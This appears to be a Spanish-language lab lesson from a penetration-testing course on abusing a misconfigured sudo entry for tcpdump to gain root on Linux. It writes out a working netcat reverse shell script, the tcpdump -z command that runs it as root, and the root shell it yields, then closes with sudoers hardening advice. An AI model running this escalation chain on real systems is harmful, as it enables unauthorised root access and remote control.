Sudo Rights Abuse
Los privilegios de sudo
pueden ser otorgados a una cuenta, permitiendo que la cuenta ejecute ciertos comandos en el contexto de root (o de otra cuenta) sin tener que cambiar de usuario o otorgar privilegios excesivos. Cuando se emite el comando sudo
, el sistema verificará si el usuario que emite el comando tiene los derechos apropiados, según lo configurado en /etc/sudoers. Al acceder a un sistema, siempre debemos verificar si el usuario actual tiene algún privilegio de sudo escribiendo sudo -l
. A veces necesitaremos conocer la contraseña del usuario para listar sus derechos de sudo
, pero cualquier entrada de derechos con la opción NOPASSWD
puede ser vista sin ingresar una contraseña.
htb_student@NIX02:~$ sudo -l
Matching Defaults entries for sysadm on NIX02:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sysadm may run the following commands on NIX02:
(root) NOPASSWD: /usr/sbin/tcpdump
Es fácil configurar esto incorrectamente. Por ejemplo, se le puede otorgar a un usuario permisos a nivel root sin requerir una contraseña. O la línea de comandos permitida podría especificarse de manera demasiado laxa, permitiéndonos ejecutar un programa de una manera no intencionada, resultando en una escalada de privilegios. Por ejemplo, si el archivo sudoers se edita para otorgar a un usuario el derecho a ejecutar un comando como tcpdump
según la siguiente entrada en el archivo sudoers: (ALL) NOPASSWD: /usr/sbin/tcpdump
, un atacante podría aprovechar esto para usar la opción postrotate-command.
htb_student@NIX02:~$ man tcpdump
<SNIP>
-z postrorate-command
Used in conjunction with the -C or -G options, this will make `tcpdump` run " postrotate-command file " where the file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip2 will compress each savefile using gzip or bzip2.
Al especificar la flag -z
, un atacante podría usar tcpdump
para ejecutar un script de shell, obtener una reverse shell como el usuario root o ejecutar otros comandos privilegiados. Por ejemplo, un atacante podría crear el script de shell .test
que contiene una reverse shell y ejecutarlo de la siguiente manera:
htb_student@NIX02:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
Vamos a probar esto. Primero, crea un archivo para ejecutar con el postrotate-command
, agregando una simple línea de comando de reverse shell.
htb_student@NIX02:~$ cat /tmp/.test
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
A continuación, inicia un listener de netcat
en nuestra máquina atacante y ejecuta tcpdump
como root con el postrotate-command
. Si todo sale según lo planeado, recibiremos una conexión de reverse shell como root.
htb_student@NIX02:~$ sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
dropped privs to root
tcpdump: listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
compress_savefile: execlp(/tmp/.test, /dev/null) failed: Permission denied
0 packets dropped by kernel
Recibimos una shell de root casi al instante.
nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12] 38938
bash: cannot set terminal process group (10797): Inappropriate ioctl for device
bash: no job control in this shell
root@NIX02:~# id && hostname
id && hostname
uid=0(root) gid=0(root) groups=0(root)
NIX02
AppArmor en distribuciones más recientes ha predefinido los comandos utilizados con el postrotate-command
, previniendo efectivamente la ejecución de comandos. Dos mejores prácticas que siempre deben considerarse al provisionar derechos de sudo
:
1. | Siempre especificar la ruta absoluta a cualquier binario listado en la entrada del archivo sudoers . De lo contrario, un atacante podría aprovechar el abuso de PATH (que veremos en la siguiente sección) para crear un binario malicioso que se ejecutará cuando se ejecute el comando (por ejemplo, si la entrada de sudoers especifica cat en lugar de /bin/cat , esto podría ser abusado). |
---|---|
2. | Otorgar derechos de sudo con moderación y basándose en el principio de privilegio mínimo. ¿Necesita el usuario derechos completos de sudo ? ¿Pueden realizar su trabajo con una o dos entradas en el archivo sudoers ? Limitar los comandos privilegiados que un usuario puede ejecutar reducirá en gran medida la probabilidad de una escalada de privilegios exitosa. |